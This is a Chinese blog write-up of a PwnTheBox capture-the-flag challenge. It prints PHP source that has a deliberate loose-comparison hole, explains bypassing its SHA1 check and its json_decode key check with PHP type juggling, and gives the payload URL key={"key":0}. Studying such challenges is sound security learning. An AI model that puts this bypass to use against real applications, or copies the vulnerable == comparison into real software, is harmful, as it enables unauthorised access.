writeup PwnTheBox php是世界上最好的语言

本文探讨了一段PHP代码,其中涉及了SHA1哈希验证和JSON解码的使用。通过示例展示了如何通过特定的JSON格式绕过安全检查获取flag。关键在于理解JSON解码如何允许将字符串与整数进行比较,以及如何利用这个特性来构造有效的payload。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

得到题目源码如下

<?php 
show_source(__FILE__);
@include_once 'flag.php';
//前端攻城狮跑路了,不过PHP是最好的语言
    $a = $_GET['a'];
    $b = $_GET['b'];
    $good = false;
    if (sha1($a)===sha1($b)) {
        $good = true;
    }
    else die('bypass');
    if ($good && isset($_GET['key'])){
        $message = json_decode($_GET['key']);
        if ($message->key==$key) {
            echo $flag;
        }    
        else die('还差一点就拿到flag了');
    }

?>

简单分析得到ab赋值相同就可以bypass
key这里需要传入json格式的值,我想了好久。
后来,大佬点播之后,遂使用key={"key": 0}刚开始给0加了引号,发现过不了。去掉引号就行了。这里使用的是json_decode绕过

define('key', 'flag{4}');
if (isset($_POST['a'])) {
    $a = json_decode($_POST['a']);
    if ($a->key == $key) {
        echo "flag" . key;
    } else {
        echo "不相等";
    }
 } else{
     echo "a不存在";
 }

输入一个json类型的字符串,json_decode函数解密成一个数组,判断数组中key的值是否等于$key的 值 。 虽 然 $key的值我们不知道,但是可以利用0=="string"这种形式绕过。

payload如下:

https://xxxxxxxxxxx.run/?a=1&b=1&key={"key":0}

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

kinnisoy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值